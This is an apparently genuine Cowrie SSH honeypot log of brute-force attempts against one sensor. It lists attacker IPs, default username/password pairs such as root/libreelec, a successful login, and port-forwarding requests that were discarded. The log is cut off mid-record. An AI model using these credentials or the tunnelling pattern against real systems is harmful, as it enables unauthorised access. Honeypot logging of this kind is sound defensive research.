{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:36:35.052894Z","src_ip":"2.57.122.208","session":"1394a619db38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:36:35.507347Z","src_ip":"2.57.122.208","session":"1394a619db38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:36:36.712063Z","src_ip":"2.57.122.208","session":"1394a619db38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39780,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe02ff9b7b7c","protocol":"ssh","message":"New connection: 2.57.122.208:39780 (10.17.0.5:22) [session: fe02ff9b7b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:38:49.240348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:38:49.408111Z","src_ip":"2.57.122.208","session":"fe02ff9b7b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:38:49.411655Z","src_ip":"2.57.122.208","session":"fe02ff9b7b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:38:50.310338Z","src_ip":"2.57.122.208","session":"fe02ff9b7b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:38:51.410226Z","src_ip":"2.57.122.208","session":"fe02ff9b7b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.15.164.68","src_port":37886,"dst_ip":"10.17.0.5","dst_port":22,"session":"114b884eea2f","protocol":"ssh","message":"New connection: 20.15.164.68:37886 (10.17.0.5:22) [session: 114b884eea2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:39:28.557479Z"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:39:38.595763Z","src_ip":"20.15.164.68","session":"114b884eea2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.15.164.68","src_port":54730,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d554e891944","protocol":"ssh","message":"New connection: 20.15.164.68:54730 (10.17.0.5:22) [session: 3d554e891944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:39:38.632663Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:39:38.639956Z","src_ip":"20.15.164.68","session":"3d554e891944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:39:38.643786Z","src_ip":"20.15.164.68","session":"3d554e891944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60050,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5bb9738c523","protocol":"ssh","message":"New connection: 2.57.122.208:60050 (10.17.0.5:22) [session: f5bb9738c523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:40:59.285314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:40:59.311577Z","src_ip":"2.57.122.208","session":"f5bb9738c523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:40:59.444687Z","src_ip":"2.57.122.208","session":"f5bb9738c523","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evmbot","password":"evmbot","message":"login attempt [evmbot/evmbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:00.120613Z","src_ip":"2.57.122.208","session":"f5bb9738c523","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:01.270373Z","src_ip":"2.57.122.208","session":"f5bb9738c523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":40896,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f840a3f563d","protocol":"ssh","message":"New connection: 80.94.95.118:40896 (10.17.0.5:22) [session: 5f840a3f563d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:18.115488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:18.119097Z","src_ip":"80.94.95.118","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:18.223154Z","src_ip":"80.94.95.118","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:18.734024Z","src_ip":"80.94.95.118","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.211.115.45","dst_port":443,"src_ip":"80.94.95.118","src_port":34428,"message":"direct-tcp connection request to 52.211.115.45:443 from 127.0.0.1:34428","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:22.493016Z","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.211.115.45","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.211.115.45:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:22.886947Z","src_ip":"80.94.95.118","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.211.115.45","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x93\\xe8|\\xfaM?\\xad\\xe2q\\x0c\\x108\\xa8\\x1dT\\xeb\\xd8\\x8dH[r\\x8e\\x81,\\x0c\\xcf6\\xa3m\\xc8\\x95\\xf8 \\x10\\xa5\\x14|l\\\\&\\xab\\x19\\x95\\x98\\x96\\x10\\xa6\\xc8LtE\\xf0\\x0b\\\\\\xc8G#q\\xe8\\n\\xb4\\xe4\\xcf\\xa4\\xe2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 Y\\xfc\\xe9\\x14\\xc1\\xd9VB/q\\xc5^uu|\\xf6\\xbd\\x005\\x13I\\x7fs\\xb50&\\x16t\\t\\xfcn<\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 52.211.115.45:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x93\\xe8|\\xfaM?\\xad\\xe2q\\x0c\\x108\\xa8\\x1dT\\xeb\\xd8\\x8dH[r\\x8e\\x81,\\x0c\\xcf6\\xa3m\\xc8\\x95\\xf8 \\x10\\xa5\\x14|l\\\\&\\xab\\x19\\x95\\x98\\x96\\x10\\xa6\\xc8LtE\\xf0\\x0b\\\\\\xc8G#q\\xe8\\n\\xb4\\xe4\\xcf\\xa4\\xe2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 Y\\xfc\\xe9\\x14\\xc1\\xd9VB/q\\xc5^uu|\\xf6\\xbd\\x005\\x13I\\x7fs\\xb50&\\x16t\\t\\xfcn<\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:22.890665Z","src_ip":"80.94.95.118","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"95.100.221.76","dst_port":443,"src_ip":"80.94.95.118","src_port":34872,"message":"direct-tcp connection request to 95.100.221.76:443 from 127.0.0.1:34872","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:23.088102Z","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"95.100.221.76","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 95.100.221.76:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:41:25.785706Z","src_ip":"80.94.95.118","session":"5f840a3f563d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"95.100.221.76","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0\\x0c\\xab\\xb6\\xab1\\xde\\x8d|\\x1b\\x9e\\xa1\\x8ft*V_\\xe0\\x93\\xe7\\x1a,\\x1c\\xe9j\\x14v\\xe6\\x17KMO \\xd0\\xaf\\xe6\\x82n\\xaa\\xe0\\xd7\\xb5f*:J\\x9b\\x9c\\xfe\\xd14\\x0b\\xd8\\n\\xd5_\\n\\xb6\\xaa\\xed\\x00\\x90c\\x9a\\x89\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x00L\\x8e\\xda\\x90\\xf6\\xe6\\x88{\\xc2\\x88*\\xffM\\xfe\\xb2\\x81\\xf7\\x1dA\\xd1\\xb1\\xc0d\\xba{\\t\\x1f;\\xa56\\x1d\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 95.100.221.76:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0\\x0c\\xab\\xb6\\xab1\\xde\\x8d|\\x1b\\x9e\\xa1\\x8ft*V_\\xe0\\x93\\xe7\\x1a,\\x1c\\xe9j\\x14v\\xe6\\x17KMO 